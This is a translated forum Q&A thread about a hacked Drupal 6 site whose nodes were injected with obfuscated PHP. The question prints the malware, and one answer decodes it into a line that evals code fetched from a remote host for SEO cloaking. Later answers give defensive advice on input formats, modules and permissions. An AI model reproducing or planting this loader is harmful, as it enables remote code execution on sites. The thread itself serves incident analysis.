SQL инъекция PHP-атаки в Drupal 6 - PullRequest
4 голосов
/ 07 декабря 2010

Сегодня все узлы на моем сайте drupal 6 появились с этим добавленным php-скриптом

 ?php $node->nid = 849;
     preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');

    if(@$node->body):
    ?php echo @$node->title;?
    ?php echo @$node->body;?
    ?php else:?

    ... here would go the original text of the node

    ?php endif;?

(я убрал некоторые символы, чтобы вы могли правильно прочитать код php)

Итак, я предполагаю, что это означает, что кто-то смог обновить информацию в таблицах drupal и внедрить этот скрипт php.

1 - Что делает этот код PHP (если что-нибудь)? (конечно кроме предотвращения визуализации содержимого узла)
2 - Есть идеи, как им удалось это сделать? Утечка безопасности в Drupal? Mysql один? 3 - Я думаю, что единственный способ восстановить это, полностью восстановив базу данных ...

Ответы [ 5 ]

7 голосов
/ 07 декабря 2010

Парень, который сделал это, действительно пытался сделать код трудным для чтения.

Я не уверен на 100%, как именно это работает, но конечный результат верхней строки выглядит примерно так:

if(!function_exists('node_update_log'))@eval(@file_get_contents('http://ssedrup.org/at/r_inc.php'));
if(function_exists('node_update_log'))node_update_log($node);

Кто бы ни сделал это нацеленным на ваш сайт, потому что это сайт на Drupal, вы запускаете последнюю версию?Они могут использовать известную дыру в безопасности в Drupal / дополненном модуле Drupal.Используете ли вы php-фильтры в ваших узлах Drupal, это может быть точка доступа.

Я посмотрел на связанный код, который также был затруднен для чтения.Это код, который отвечает за обновление всех ваших узлов.Похоже, что целью было показать специальный контент для поисковых роботов, посмотрев на IP-адрес.Это стратегия SEO, известная как тактирование.

В любом случае ссылка на фактический код, который выполняется :

Короче говоря, эта атака на ваш сайт должна была скрытьтот факт, что поисковая система будет индексировать специальное содержимое на вашем сайте.Это, вероятно, сделано для повышения SEO для какого-то сайта.Тот, кто сделал это, действительно знает, что он хотел сделать и как это сделать.

2 голосов
/ 08 декабря 2010

Возможно, вы неправильно указали «форматы ввода».Обратите внимание, что формат «по умолчанию» доступен всем.Если вы установите «FULL HTML» в качестве «по умолчанию», вы откроете свой сайт для многих XSS-эксплойтов.Если вы установите "PHP", вы откроете его для всех.«По умолчанию» не означает, что он становится только форматом по умолчанию, то есть уже выбранным.Это означает, что каждый, включая всех, кто может комментировать и публиковать узлы, может вставить любой вид PHP.

2 голосов
/ 07 декабря 2010

Полагаю, у вас установлена ​​последняя версия Drupal и всех используемых вами модулей. Это самое важное, в чем вы должны быть уверены - следите за версиями Drupal и всегда обновляйте их после выпуска обновления безопасности.

Однако, скорее всего, это один из ваших модулей с недостатком безопасности, а не ядро ​​Drupal. В самом Drupal были (и, вероятно, все еще есть) недостатки, но действительно неприятные проблемы, как правило, связаны с модулями.

Причина этого заключается в том, что модули, как правило, пишутся третьими сторонами, которые могут иметь или не иметь хорошее понимание надлежащей практики безопасности. И хотя ядро ​​используется всеми и привлекает к себе пристальное внимание разработчиков, большинство модулей не будет иметь такого широкого использования, поэтому у них будет меньше работы по разработке, меньше тестирования и меньше использования, поэтому ошибки будут обнаружены с меньшей вероятностью.

Посмотрите на неосновные модули, которые вы использовали для своего сайта (это может помочь отредактировать ваш вопрос, чтобы перечислить их здесь, на случай, если кто-то знает что-то конкретное).

Используйте Google для поиска drupal modulename security или чего-то подобного, и посмотрите, что получится. Также посетите их страницы на drupal.org и прочитайте заметки там; Посмотрите, насколько активен проект - когда последний раз модуль обновлялся? а как часто? сколько разработчиков работало над этим? и т. д. - если эти цифры низкие, попробуйте найти альтернативный модуль для выполнения той же работы.

Если ваши навыки PHP достаточно хороши (и у вас есть время), вы можете выполнить их обзор кода, чтобы увидеть, сможете ли вы что-нибудь заметить.

Конечно, это может вообще не быть проблемой друпалов. Если вы работаете на платформе общего хостинга, блок может быть скомпрометирован из-за проблемы безопасности на любом из размещенных сайтов, в результате чего все сайты на этом блоке будут скомпрометированы (это случилось со мной, один - не хорошо). Но поскольку внедренный код зависит от drupal, может показаться, что это может быть взлом друпала, поэтому основным подозреваемым должен оставаться ваш инсталлятор.

Надеюсь, это поможет.

1 голос
/ 07 декабря 2010

В дополнение к упомянутому совету вы должны проверить свои разрешения. Возможно, что хакер нашел способ не использовать дыру в безопасности (XML-RPC, PHP-фильтр для не-администраторов и т. Д.).

Просмотр журналов сервера, потенциально ограничивающих POST, может дать некоторую информацию о том, как это произошло.

Также возможно, что хакер также напрямую получил доступ к серверу базы данных и обошел сам Drupal.

0 голосов
/ 07 декабря 2010

Не забудьте проверить свои разрешения.Иногда разработчик забывает запретить редактирование анонимным пользователям, и это может занять некоторое время, пока вы не узнаете об этом.

...